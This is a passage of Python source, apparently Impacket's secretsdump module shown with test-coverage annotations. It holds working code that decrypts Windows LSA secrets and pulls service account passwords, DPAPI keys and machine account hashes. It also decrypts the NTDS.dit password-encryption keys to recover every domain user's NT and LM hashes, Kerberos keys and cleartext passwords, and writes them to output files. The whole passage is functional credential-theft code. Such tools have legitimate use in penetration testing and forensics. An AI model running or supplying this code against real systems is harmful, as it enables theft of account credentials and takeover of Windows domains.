1468 # Based on [MS-LSAD] section 3.1.1.4

1469

1470 # First off, let's discard NULL secrets.

1471 if len(secretItem) == 0: 1471 ↛ 1472line 1471 didn't jump to line 1472, because the condition on line 1471 was never true

1472 LOG.debug('Discarding secret %s, NULL Data' % name)

1473 return

1474

1475 # We might have secrets with zero

1476 if secretItem.startswith(b'\x00\x00'): 1476 ↛ 1477line 1476 didn't jump to line 1477, because the condition on line 1476 was never true

1477 LOG.debug('Discarding secret %s, all zeros' % name)

1478 return

1479

1480 upperName = name.upper()

1481

1482 LOG.info('%s ' % name)

1483

1484 secret = ''

1485

1486 if upperName.startswith('_SC_'):

1487 # Service name, a password might be there

1488 # Let's first try to decode the secret

1489 try:

1490 strDecoded = secretItem.decode('utf-16le')

1491 except:

1492 pass

1493 else:

1494 # We have to get the account the service

1495 # runs under

1496 if hasattr(self.__remoteOps, 'getServiceAccount'): 1496 ↛ 1504line 1496 didn't jump to line 1504, because the condition on line 1496 was never false

1497 account = self.__remoteOps.getServiceAccount(name[4:])

1498 if account is None: 1498 ↛ 1499line 1498 didn't jump to line 1499, because the condition on line 1498 was never true

1499 secret = self.UNKNOWN_USER + ':'

1500 else:

1501 secret = "%s:" % account

1502 else:

1503 # We don't support getting this info for local targets at the moment

1504 secret = self.UNKNOWN_USER + ':'

1505 secret += strDecoded

1506 elif upperName.startswith('DEFAULTPASSWORD'):

1507 # defaults password for winlogon

1508 # Let's first try to decode the secret

1509 try:

1510 strDecoded = secretItem.decode('utf-16le')

1511 except:

1512 pass

1513 else:

1514 # We have to get the account this password is for

1515 if hasattr(self.__remoteOps, 'getDefaultLoginAccount'): 1515 ↛ 1523line 1515 didn't jump to line 1523, because the condition on line 1515 was never false

1516 account = self.__remoteOps.getDefaultLoginAccount()

1517 if account is None: 1517 ↛ 1518line 1517 didn't jump to line 1518, because the condition on line 1517 was never true

1518 secret = self.UNKNOWN_USER + ':'

1519 else:

1520 secret = "%s:" % account

1521 else:

1522 # We don't support getting this info for local targets at the moment

1523 secret = self.UNKNOWN_USER + ':'

1524 secret += strDecoded

1525 elif upperName.startswith('ASPNET_WP_PASSWORD'): 1525 ↛ 1526line 1525 didn't jump to line 1526, because the condition on line 1525 was never true

1526 try:

1527 strDecoded = secretItem.decode('utf-16le')

1528 except:

1529 pass

1530 else:

1531 secret = 'ASPNET: %s' % strDecoded

1532 elif upperName.startswith('DPAPI_SYSTEM'):

1533 # Decode the DPAPI Secrets

1534 dpapi = DPAPI_SYSTEM(secretItem)

1535 secret = "dpapi_machinekey:0x{0}\ndpapi_userkey:0x{1}".format( hexlify(dpapi['MachineKey']).decode('latin-1'),

1536 hexlify(dpapi['UserKey']).decode('latin-1'))

1537 elif upperName.startswith('$MACHINE.ACC'):

1538 # compute MD4 of the secret.. yes.. that is the nthash? :-o

1539 md4 = MD4.new()

1540 md4.update(secretItem)

1541 if hasattr(self.__remoteOps, 'getMachineNameAndDomain'): 1541 ↛ 1547line 1541 didn't jump to line 1547, because the condition on line 1541 was never false

1542 machine, domain = self.__remoteOps.getMachineNameAndDomain()

1543 printname = "%s\\%s$" % (domain, machine)

1544 secret = "%s\\%s$:%s:%s:::" % (domain, machine, hexlify(ntlm.LMOWFv1('','')).decode('utf-8'),

1545 hexlify(md4.digest()).decode('utf-8'))

1546 else:

1547 printname = "$MACHINE.ACC"

1548 secret = "$MACHINE.ACC: %s:%s" % (hexlify(ntlm.LMOWFv1('','')).decode('utf-8'),

1549 hexlify(md4.digest()).decode('utf-8'))

1550 # Attempt to calculate and print Kerberos keys

1551 if not self.__printMachineKerberos(secretItem, printname): 1551 ↛ 1552line 1551 didn't jump to line 1552, because the condition on line 1551 was never true

1552 LOG.debug('Could not calculate machine account Kerberos keys, only printing plain password (hex encoded)')

1553 # Always print plaintext anyway since this may be needed for some popular usecases

1554 extrasecret = "%s:plain_password_hex:%s" % (printname, hexlify(secretItem).decode('utf-8'))

1555 self.__secretItems.append(extrasecret)

1556 self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA, extrasecret)

1557

1558 if secret != '':

1559 printableSecret = secret

1560 self.__secretItems.append(secret)

1561 self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA, printableSecret)

1562 else:

1563 # Default print, hexdump

1564 printableSecret = '%s:%s' % (name, hexlify(secretItem).decode('utf-8'))

1565 self.__secretItems.append(printableSecret)

1566 # If we're using the default callback (ourselves), we print the hex representation. If not, the

1567 # user will need to decide what to do.

1568 if self.__module__ == self.__perSecretCallback.__module__: 1568 ↛ 1570line 1568 didn't jump to line 1570, because the condition on line 1568 was never false

1569 hexdump(secretItem)

1570 self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_RAW, printableSecret)

1571

1572 def __printMachineKerberos(self, rawsecret, machinename):

1573 # Attempt to create Kerberos keys from machine account (if possible)

1574 if hasattr(self.__remoteOps, 'getMachineKerberosSalt'): 1574 ↛ 1602line 1574 didn't jump to line 1602, because the condition on line 1574 was never false

1575 salt = self.__remoteOps.getMachineKerberosSalt()

1576 if salt == b'': 1576 ↛ 1577line 1576 didn't jump to line 1577, because the condition on line 1576 was never true

1577 return False

1578 else:

1579 allciphers = [

1580 int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),

1581 int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),

1582 int(constants.EncryptionTypes.des_cbc_md5.value)

1583 ]

1584 # Ok, so the machine account password is in raw UTF-16, BUT can contain any amount

1585 # of invalid unicode characters.

1586 # This took me (Dirk-jan) way too long to figure out, but apparently Microsoft

1587 # implicitly replaces those when converting utf-16 to utf-8.

1588 # When we use the same method we get the valid password -> key mapping :)

1589 rawsecret = rawsecret.decode('utf-16-le', 'replace').encode('utf-8', 'replace')

1590 for etype in allciphers:

1591 try:

1592 key = string_to_key(etype, rawsecret, salt, None)

1593 except Exception:

1594 LOG.debug('Exception', exc_info=True)

1595 raise

1596 typename = NTDSHashes.KERBEROS_TYPE[etype]

1597 secret = "%s:%s:%s" % (machinename, typename, hexlify(key.contents).decode('utf-8'))

1598 self.__secretItems.append(secret)

1599 self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_KERBEROS, secret)

1600 return True

1601 else:

1602 return False

1603

1604 def dumpSecrets(self):

1605 if self.__securityFile is None: 1605 ↛ 1607line 1605 didn't jump to line 1607, because the condition on line 1605 was never true

1606 # No SECURITY file provided

1607 return

1608

1609 LOG.info('Dumping LSA Secrets')

1610

1611 # Let's first see if there are cached entries

1612 keys = self.enumKey('\\Policy\\Secrets')

1613 if keys is None: 1613 ↛ 1615line 1613 didn't jump to line 1615, because the condition on line 1613 was never true

1614 # No entries

1615 return

1616 try:

1617 # Remove unnecessary value

1618 keys.remove(b'NL$Control')

1619 except:

1620 pass

1621

1622 if self.__LSAKey == b'': 1622 ↛ 1623line 1622 didn't jump to line 1623, because the condition on line 1622 was never true

1623 self.__getLSASecretKey()

1624

1625 for key in keys:

1626 LOG.debug('Looking into %s' % key)

1627 valueTypeList = ['CurrVal']

1628 # Check if old LSA secrets values are also need to be shown

1629 if self.__history:

1630 valueTypeList.append('OldVal')

1631

1632 for valueType in valueTypeList:

1633 value = self.getValue('\\Policy\\Secrets\\{}\\{}\\default'.format(key,valueType))

1634 if value is not None and value[1] != 0:

1635 if self.__vistaStyle is True: 1635 ↛ 1642line 1635 didn't jump to line 1642, because the condition on line 1635 was never false

1636 record = LSA_SECRET(value[1])

1637 tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])

1638 plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])

1639 record = LSA_SECRET_BLOB(plainText)

1640 secret = record['Secret']

1641 else:

1642 secret = self.__decryptSecret(self.__LSAKey, value[1])

1643

1644 # If this is an OldVal secret, let's append '_history' to be able to distinguish it and

1645 # also be consistent with NTDS history

1646 if valueType == 'OldVal':

1647 key += '_history'

1648 self.__printSecret(key, secret)

1649

1650 def exportSecrets(self, baseFileName, openFileFunc = None):

1651 if len(self.__secretItems) > 0:

1652 fileName = baseFileName+'.secrets'

1653 fd = openFile(fileName, openFileFunc=openFileFunc)

1654 for item in self.__secretItems:

1655 fd.write(item+'\n')

1656 fd.close()

1657 return fileName

1658

1659 def exportCached(self, baseFileName, openFileFunc = None):

1660 if len(self.__cachedItems) > 0:

1661 fileName = baseFileName+'.cached'

1662 fd = openFile(fileName, openFileFunc=openFileFunc)

1663 for item in self.__cachedItems:

1664 fd.write(item+'\n')

1665 fd.close()

1666 return fileName

1667

1668

1669 class ResumeSessionMgrInFile(object):

1670 def __init__(self, resumeFileName=None):

1671 self.__resumeFileName = resumeFileName

1672 self.__resumeFile = None

1673 self.__hasResumeData = resumeFileName is not None

1674

1675 def hasResumeData(self):

1676 return self.__hasResumeData

1677

1678 def clearResumeData(self):

1679 self.endTransaction()

1680 if self.__resumeFileName and os.path.isfile(self.__resumeFileName): 1680 ↛ exitline 1680 didn't return from function 'clearResumeData', because the condition on line 1680 was never false

1681 os.remove(self.__resumeFileName)

1682

1683 def writeResumeData(self, data):

1684 # self.beginTransaction() must be called first, but we are aware of performance here, so we avoid checking that

1685 self.__resumeFile.seek(0, 0)

1686 self.__resumeFile.truncate(0)

1687 self.__resumeFile.write(data.encode())

1688 self.__resumeFile.flush()

1689

1690 def getResumeData(self):

1691 try:

1692 self.__resumeFile = open(self.__resumeFileName,'rb')

1693 except Exception as e:

1694 raise Exception('Cannot open resume session file name %s' % str(e))

1695 resumeSid = self.__resumeFile.read()

1696 self.__resumeFile.close()

1697 # Truncate and reopen the file as wb+

1698 self.__resumeFile = open(self.__resumeFileName,'wb+')

1699 return resumeSid.decode('utf-8')

1700

1701 def getFileName(self):

1702 return self.__resumeFileName

1703

1704 def beginTransaction(self):

1705 if not self.__resumeFileName: 1705 ↛ 1708line 1705 didn't jump to line 1708, because the condition on line 1705 was never false

1706 self.__resumeFileName = 'sessionresume_%s' % ''.join(random.choice(string.ascii_letters) for _ in range(8))

1707 LOG.debug('Session resume file will be %s' % self.__resumeFileName)

1708 if not self.__resumeFile: 1708 ↛ exitline 1708 didn't return from function 'beginTransaction', because the condition on line 1708 was never false

1709 try:

1710 self.__resumeFile = open(self.__resumeFileName, 'wb+')

1711 except Exception as e:

1712 raise Exception('Cannot create "%s" resume session file: %s' % (self.__resumeFileName, str(e)))

1713

1714 def endTransaction(self):

1715 if self.__resumeFile:

1716 self.__resumeFile.close()

1717 self.__resumeFile = None

1718

1719

1720 class NTDSHashes:

1721 class SECRET_TYPE:

1722 NTDS = 0

1723 NTDS_CLEARTEXT = 1

1724 NTDS_KERBEROS = 2

1725

1726 NAME_TO_INTERNAL = {

1727 'uSNCreated':b'ATTq131091',

1728 'uSNChanged':b'ATTq131192',

1729 'name':b'ATTm3',

1730 'objectGUID':b'ATTk589826',

1731 'objectSid':b'ATTr589970',

1732 'userAccountControl':b'ATTj589832',

1733 'primaryGroupID':b'ATTj589922',

1734 'accountExpires':b'ATTq589983',

1735 'logonCount':b'ATTj589993',

1736 'sAMAccountName':b'ATTm590045',

1737 'sAMAccountType':b'ATTj590126',

1738 'lastLogonTimestamp':b'ATTq589876',

1739 'userPrincipalName':b'ATTm590480',

1740 'unicodePwd':b'ATTk589914',

1741 'dBCSPwd':b'ATTk589879',

1742 'ntPwdHistory':b'ATTk589918',

1743 'lmPwdHistory':b'ATTk589984',

1744 'pekList':b'ATTk590689',

1745 'supplementalCredentials':b'ATTk589949',

1746 'pwdLastSet':b'ATTq589920',

1747 }

1748

1749 NAME_TO_ATTRTYP = {

1750 'userPrincipalName': 0x90290,

1751 'sAMAccountName': 0x900DD,

1752 'unicodePwd': 0x9005A,

1753 'dBCSPwd': 0x90037,

1754 'ntPwdHistory': 0x9005E,

1755 'lmPwdHistory': 0x900A0,

1756 'supplementalCredentials': 0x9007D,

1757 'objectSid': 0x90092,

1758 'userAccountControl':0x90008,

1759 }

1760

1761 ATTRTYP_TO_ATTID = {

1762 'userPrincipalName': '1.2.840.113556.1.4.656',

1763 'sAMAccountName': '1.2.840.113556.1.4.221',

1764 'unicodePwd': '1.2.840.113556.1.4.90',

1765 'dBCSPwd': '1.2.840.113556.1.4.55',

1766 'ntPwdHistory': '1.2.840.113556.1.4.94',

1767 'lmPwdHistory': '1.2.840.113556.1.4.160',

1768 'supplementalCredentials': '1.2.840.113556.1.4.125',

1769 'objectSid': '1.2.840.113556.1.4.146',

1770 'pwdLastSet': '1.2.840.113556.1.4.96',

1771 'userAccountControl':'1.2.840.113556.1.4.8',

1772 }

1773

1774 KERBEROS_TYPE = {

1775 1:'dec-cbc-crc',

1776 3:'des-cbc-md5',

1777 17:'aes128-cts-hmac-sha1-96',

1778 18:'aes256-cts-hmac-sha1-96',

1779 0xffffff74:'rc4_hmac',

1780 }

1781

1782 INTERNAL_TO_NAME = dict((v,k) for k,v in NAME_TO_INTERNAL.items())

1783

1784 SAM_NORMAL_USER_ACCOUNT = 0x30000000

1785 SAM_MACHINE_ACCOUNT = 0x30000001

1786 SAM_TRUST_ACCOUNT = 0x30000002

1787

1788 ACCOUNT_TYPES = ( SAM_NORMAL_USER_ACCOUNT, SAM_MACHINE_ACCOUNT, SAM_TRUST_ACCOUNT)

1789

1790 class PEKLIST_ENC(Structure):

1791 structure = (

1792 ('Header','8s=b""'),

1793 ('KeyMaterial','16s=b""'),

1794 ('EncryptedPek',':'),

1795 )

1796

1797 class PEKLIST_PLAIN(Structure):

1798 structure = (

1799 ('Header','32s=b""'),

1800 ('DecryptedPek',':'),

1801 )

1802

1803 class PEK_KEY(Structure):

1804 structure = (

1805 ('Header','1s=b""'),

1806 ('Padding','3s=b""'),

1807 ('Key','16s=b""'),

1808 )

1809

1810 class CRYPTED_HASH(Structure):

1811 structure = (

1812 ('Header','8s=b""'),

1813 ('KeyMaterial','16s=b""'),

1814 ('EncryptedHash','16s=b""'),

1815 )

1816

1817 class CRYPTED_HASHW16(Structure):

1818 structure = (

1819 ('Header','8s=b""'),

1820 ('KeyMaterial','16s=b""'),

1821 ('Unknown','<L=0'),

1822 ('EncryptedHash', ':'),

1823 )

1824

1825 class CRYPTED_HISTORY(Structure):

1826 structure = (

1827 ('Header','8s=b""'),

1828 ('KeyMaterial','16s=b""'),

1829 ('EncryptedHash',':'),

1830 )

1831

1832 class CRYPTED_BLOB(Structure):

1833 structure = (

1834 ('Header','8s=b""'),

1835 ('KeyMaterial','16s=b""'),

1836 ('EncryptedHash',':'),

1837 )

1838

1839 def __init__(self, ntdsFile, bootKey, isRemote=False, history=False, noLMHash=True, remoteOps=None,

1840 useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName=None,

1841 justUser=None, printUserStatus=False,

1842 perSecretCallback = lambda secretType, secret : _print_helper(secret),

1843 resumeSessionMgr=ResumeSessionMgrInFile):

1844 self.__bootKey = bootKey

1845 self.__NTDS = ntdsFile

1846 self.__history = history

1847 self.__noLMHash = noLMHash

1848 self.__useVSSMethod = useVSSMethod

1849 self.__remoteOps = remoteOps

1850 self.__pwdLastSet = pwdLastSet

1851 self.__printUserStatus = printUserStatus

1852 if self.__NTDS is not None:

1853 self.__ESEDB = ESENT_DB(ntdsFile, isRemote = isRemote)

1854 self.__cursor = self.__ESEDB.openTable('datatable')

1855 self.__tmpUsers = list()

1856 self.__PEK = list()

1857 self.__cryptoCommon = CryptoCommon()

1858 self.__kerberosKeys = OrderedDict()

1859 self.__clearTextPwds = OrderedDict()

1860 self.__justNTLM = justNTLM

1861 self.__resumeSession = resumeSessionMgr(resumeSession)

1862 self.__outputFileName = outputFileName

1863 self.__justUser = justUser

1864 self.__perSecretCallback = perSecretCallback

1865

1866 def getResumeSessionFile(self):

1867 return self.__resumeSession.getFileName()

1868

1869 def __getPek(self):

1870 LOG.info('Searching for pekList, be patient')

1871 peklist = None

1872 while True:

1873 try:

1874 record = self.__ESEDB.getNextRow(self.__cursor)

1875 except:

1876 LOG.error('Error while calling getNextRow(), trying the next one')

1877 continue

1878

1879 if record is None: 1879 ↛ 1880line 1879 didn't jump to line 1880, because the condition on line 1879 was never true

1880 break

1881 elif record[self.NAME_TO_INTERNAL['pekList']] is not None:

1882 peklist = unhexlify(record[self.NAME_TO_INTERNAL['pekList']])

1883 break

1884 elif record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES: 1884 ↛ 1887line 1884 didn't jump to line 1887, because the condition on line 1884 was never true

1885 # Okey.. we found some users, but we're not yet ready to process them.

1886 # Let's just store them in a temp list

1887 self.__tmpUsers.append(record)

1888

1889 if peklist is not None: 1889 ↛ exitline 1889 didn't return from function '__getPek', because the condition on line 1889 was never false

1890 encryptedPekList = self.PEKLIST_ENC(peklist)

1891 if encryptedPekList['Header'][:4] == b'\x02\x00\x00\x00': 1891 ↛ 1907line 1891 didn't jump to line 1907, because the condition on line 1891 was never false

1892 # Up to Windows 2012 R2 looks like header starts this way

1893 md5 = hashlib.new('md5')

1894 md5.update(self.__bootKey)

1895 for i in range(1000):

1896 md5.update(encryptedPekList['KeyMaterial'])

1897 tmpKey = md5.digest()

1898 rc4 = ARC4.new(tmpKey)

1899 decryptedPekList = self.PEKLIST_PLAIN(rc4.encrypt(encryptedPekList['EncryptedPek']))

1900 PEKLen = len(self.PEK_KEY())

1901 for i in range(len( decryptedPekList['DecryptedPek'] ) // PEKLen ):

1902 cursor = i * PEKLen

1903 pek = self.PEK_KEY(decryptedPekList['DecryptedPek'][cursor: cursor+PEKLen])

1904 LOG.info("PEK # %d found and decrypted: %s", i, hexlify(pek['Key']).decode('utf-8'))

1905 self.__PEK.append(pek['Key'])

1906

1907 elif encryptedPekList['Header'][:4] == b'\x03\x00\x00\x00':

1908 # Windows 2016 TP4 header starts this way

1909 # Encrypted PEK Key seems to be different, but actually similar to decrypting LSA Secrets.

1910 # using AES:

1911 # Key: the bootKey

1912 # CipherText: PEKLIST_ENC['EncryptedPek']

1913 # IV: PEKLIST_ENC['KeyMaterial']

1914 decryptedPekList = self.PEKLIST_PLAIN(

1915 self.__cryptoCommon.decryptAES(self.__bootKey, encryptedPekList['EncryptedPek'],

1916 encryptedPekList['KeyMaterial']))

1917

1918 # PEK list entries take the form:

1919 # index (4 byte LE int), PEK (16 byte key)

1920 # the entries are in ascending order, and the list is terminated

1921 # by an entry with a non-sequential index (08080808 observed)

1922 pos, cur_index = 0, 0

1923 while True:

1924 pek_entry = decryptedPekList['DecryptedPek'][pos: pos+20]

1925 if len(pek_entry) < 20: break # if list truncated, should not happen

1926 index, pek = unpack('<L16s', pek_entry)

1927 if index != cur_index: break # break on non-sequential index

1928 self.__PEK.append(pek)

1929 LOG.info("PEK # %d found and decrypted: %s", index, hexlify(pek).decode('utf-8'))

1930 cur_index += 1

1931 pos += 20

1932

1933 def __removeRC4Layer(self, cryptedHash):

1934 md5 = hashlib.new('md5')

1935 # PEK index can be found on header of each ciphered blob (pos 8-10)

1936 pekIndex = hexlify(cryptedHash['Header'])

1937 md5.update(self.__PEK[int(pekIndex[8:10])])

1938 md5.update(cryptedHash['KeyMaterial'])

1939 tmpKey = md5.digest()

1940 rc4 = ARC4.new(tmpKey)

1941 plainText = rc4.encrypt(cryptedHash['EncryptedHash'])

1942

1943 return plainText

1944

1945 def __removeDESLayer(self, cryptedHash, rid):

1946 Key1,Key2 = self.__cryptoCommon.deriveKey(int(rid))

1947

1948 Crypt1 = DES.new(Key1, DES.MODE_ECB)

1949 Crypt2 = DES.new(Key2, DES.MODE_ECB)

1950

1951 decryptedHash = Crypt1.decrypt(cryptedHash[:8]) + Crypt2.decrypt(cryptedHash[8:])

1952

1953 return decryptedHash

1954

1955 @staticmethod

1956 def __fileTimeToDateTime(t):

1957 t -= 116444736000000000

1958 t //= 10000000

1959 if t < 0:

1960 return 'never'

1961 else:

1962 dt = datetime.fromtimestamp(t)

1963 return dt.strftime("%Y-%m-%d %H:%M")

1964

1965 def __decryptSupplementalInfo(self, record, prefixTable=None, keysFile=None, clearTextFile=None):

1966 # This is based on [MS-SAMR] 2.2.10 Supplemental Credentials Structures

1967 haveInfo = False

1968 LOG.debug('Entering NTDSHashes.__decryptSupplementalInfo')

1969 if self.__useVSSMethod is True:

1970 if record[self.NAME_TO_INTERNAL['supplementalCredentials']] is not None:

1971 if len(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']])) > 24: 1971 ↛ 2032line 1971 didn't jump to line 2032, because the condition on line 1971 was never false

1972 if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None:

1973 domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1]

1974 userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']])

1975 else:

1976 userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']]

1977 cipherText = self.CRYPTED_BLOB(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']]))

1978

1979 if cipherText['Header'][:4] == b'\x13\x00\x00\x00': 1979 ↛ 1981line 1979 didn't jump to line 1981, because the condition on line 1979 was never true

1980 # Win2016 TP4 decryption is different

1981 pekIndex = hexlify(cipherText['Header'])

1982 plainText = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],

1983 cipherText['EncryptedHash'][4:],

1984 cipherText['KeyMaterial'])

1985 haveInfo = True

1986 else:

1987 plainText = self.__removeRC4Layer(cipherText)

1988 haveInfo = True

1989 else:

1990 domain = None

1991 userName = None

1992 replyVersion = 'V%d' % record['pdwOutVersion']

1993 for attr in record['pmsgOut'][replyVersion]['pObjects']['Entinf']['AttrBlock']['pAttr']:

1994 try:

1995 attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])

1996 LOOKUP_TABLE = self.ATTRTYP_TO_ATTID

1997 except Exception as e:

1998 LOG.debug('Failed to execute OidFromAttid with error %s' % e)

1999 LOG.debug('Exception', exc_info=True)

2000 # Fallbacking to fixed table and hope for the best

2001 attId = attr['attrTyp']

2002 LOOKUP_TABLE = self.NAME_TO_ATTRTYP

2003

2004 if attId == LOOKUP_TABLE['userPrincipalName']:

2005 if attr['AttrVal']['valCount'] > 0: 2005 ↛ 2011line 2005 didn't jump to line 2011, because the condition on line 2005 was never false

2006 try:

2007 domain = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1]

2008 except:

2009 domain = None

2010 else:

2011 domain = None

2012 elif attId == LOOKUP_TABLE['sAMAccountName']:

2013 if attr['AttrVal']['valCount'] > 0: 2013 ↛ 2021line 2013 didn't jump to line 2021, because the condition on line 2013 was never false

2014 try:

2015 userName = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le')

2016 except:

2017 LOG.error(

2018 'Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])

2019 userName = 'unknown'

2020 else:

2021 LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])

2022 userName = 'unknown'

2023 if attId == LOOKUP_TABLE['supplementalCredentials']:

2024 if attr['AttrVal']['valCount'] > 0: 2024 ↛ 1993line 2024 didn't jump to line 1993, because the condition on line 2024 was never false

2025 blob = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])

2026 plainText = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), blob)

2027 if len(plainText) > 24: 2027 ↛ 1993line 2027 didn't jump to line 1993, because the condition on line 2027 was never false

2028 haveInfo = True

2029 if domain is not None:

2030 userName = '%s\\%s' % (domain, userName)

2031

2032 if haveInfo is True:

2033 try:

2034 userProperties = samr.USER_PROPERTIES(plainText)

2035 except:

2036 # On some old w2k3 there might be user properties that don't

2037 # match [MS-SAMR] structure, discarding them

2038 return

2039 propertiesData = userProperties['UserProperties']

2040 for propertyCount in range(userProperties['PropertyCount']):

2041 userProperty = samr.USER_PROPERTY(propertiesData)

2042 propertiesData = propertiesData[len(userProperty):]

2043 # For now, we will only process Newer Kerberos Keys and CLEARTEXT

2044 if userProperty['PropertyName'].decode('utf-16le') == 'Primary:Kerberos-Newer-Keys':

2045 propertyValueBuffer = unhexlify(userProperty['PropertyValue'])

2046 kerbStoredCredentialNew = samr.KERB_STORED_CREDENTIAL_NEW(propertyValueBuffer)

2047 data = kerbStoredCredentialNew['Buffer']

2048 for credential in range(kerbStoredCredentialNew['CredentialCount']):

2049 keyDataNew = samr.KERB_KEY_DATA_NEW(data)

2050 data = data[len(keyDataNew):]

2051 keyValue = propertyValueBuffer[keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']]

2052

2053 if keyDataNew['KeyType'] in self.KERBEROS_TYPE: 2053 ↛ 2056line 2053 didn't jump to line 2056, because the condition on line 2053 was never false

2054 answer = "%s:%s:%s" % (userName, self.KERBEROS_TYPE[keyDataNew['KeyType']],hexlify(keyValue).decode('utf-8'))

2055 else:

2056 answer = "%s:%s:%s" % (userName, hex(keyDataNew['KeyType']),hexlify(keyValue).decode('utf-8'))

2057 # We're just storing the keys, not printing them, to make the output more readable

2058 # This is kind of ugly... but it's what I came up with tonight to get an ordered

2059 # set :P. Better ideas welcomed ;)

2060 self.__kerberosKeys[answer] = None

2061 if keysFile is not None: 2061 ↛ 2062line 2061 didn't jump to line 2062, because the condition on line 2061 was never true

2062 self.__writeOutput(keysFile, answer + '\n')

2063 elif userProperty['PropertyName'].decode('utf-16le') == 'Primary:CLEARTEXT': 2063 ↛ 2066line 2063 didn't jump to line 2066, because the condition on line 2063 was never true

2064 # [MS-SAMR] 3.1.1.8.11.5 Primary:CLEARTEXT Property

2065 # This credential type is the cleartext password. The value format is the UTF-16 encoded cleartext password.

2066 try:

2067 answer = "%s:CLEARTEXT:%s" % (userName, unhexlify(userProperty['PropertyValue']).decode('utf-16le'))

2068 except UnicodeDecodeError:

2069 # This could be because we're decoding a machine password. Printing it hex

2070 answer = "%s:CLEARTEXT:0x%s" % (userName, userProperty['PropertyValue'].decode('utf-8'))

2071

2072 self.__clearTextPwds[answer] = None

2073 if clearTextFile is not None:

2074 self.__writeOutput(clearTextFile, answer + '\n')

2075

2076 if clearTextFile is not None: 2076 ↛ 2077line 2076 didn't jump to line 2077, because the condition on line 2076 was never true

2077 clearTextFile.flush()

2078 if keysFile is not None: 2078 ↛ 2079line 2078 didn't jump to line 2079, because the condition on line 2078 was never true

2079 keysFile.flush()

2080

2081 LOG.debug('Leaving NTDSHashes.__decryptSupplementalInfo')

2082

2083 def __decryptHash(self, record, prefixTable=None, outputFile=None):

2084 LOG.debug('Entering NTDSHashes.__decryptHash')

2085 if self.__useVSSMethod is True:

2086 LOG.debug('Decrypting hash for user: %s' % record[self.NAME_TO_INTERNAL['name']])

2087

2088 sid = SAMR_RPC_SID(unhexlify(record[self.NAME_TO_INTERNAL['objectSid']]))

2089 rid = sid.formatCanonical().split('-')[-1]

2090

2091 if record[self.NAME_TO_INTERNAL['dBCSPwd']] is not None: 2091 ↛ 2092line 2091 didn't jump to line 2092, because the condition on line 2091 was never true

2092 encryptedLMHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['dBCSPwd']]))

2093 if encryptedLMHash['Header'][:4] == b'\x13\x00\x00\x00':

2094 # Win2016 TP4 decryption is different

2095 encryptedLMHash = self.CRYPTED_HASHW16(unhexlify(record[self.NAME_TO_INTERNAL['dBCSPwd']]))

2096 pekIndex = hexlify(encryptedLMHash['Header'])

2097 tmpLMHash = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],

2098 encryptedLMHash['EncryptedHash'][:16],

2099 encryptedLMHash['KeyMaterial'])

2100 else:

2101 tmpLMHash = self.__removeRC4Layer(encryptedLMHash)

2102 LMHash = self.__removeDESLayer(tmpLMHash, rid)

2103 else:

2104 LMHash = ntlm.LMOWFv1('', '')

2105

2106 if record[self.NAME_TO_INTERNAL['unicodePwd']] is not None:

2107 encryptedNTHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']]))

2108 if encryptedNTHash['Header'][:4] == b'\x13\x00\x00\x00': 2108 ↛ 2110line 2108 didn't jump to line 2110, because the condition on line 2108 was never true

2109 # Win2016 TP4 decryption is different

2110 encryptedNTHash = self.CRYPTED_HASHW16(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']]))

2111 pekIndex = hexlify(encryptedNTHash['Header'])

2112 tmpNTHash = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],

2113 encryptedNTHash['EncryptedHash'][:16],

2114 encryptedNTHash['KeyMaterial'])

2115 else:

2116 tmpNTHash = self.__removeRC4Layer(encryptedNTHash)

2117 NTHash = self.__removeDESLayer(tmpNTHash, rid)

2118 else:

2119 NTHash = ntlm.NTOWFv1('', '')

2120

2121 if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None:

2122 domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1]

2123 userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']])

2124 else:

2125 userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']]

2126

2127 if self.__printUserStatus is True: 2127 ↛ 2129line 2127 didn't jump to line 2129, because the condition on line 2127 was never true

2128 # Enabled / disabled users

2129 if record[self.NAME_TO_INTERNAL['userAccountControl']] is not None:

2130 if '{0:08b}'.format(record[self.NAME_TO_INTERNAL['userAccountControl']])[-2:-1] == '1':

2131 userAccountStatus = 'Disabled'

2132 elif '{0:08b}'.format(record[self.NAME_TO_INTERNAL['userAccountControl']])[-2:-1] == '0':

2133 userAccountStatus = 'Enabled'

2134 else:

2135 userAccountStatus = 'N/A'

2136

2137 if record[self.NAME_TO_INTERNAL['pwdLastSet']] is not None:

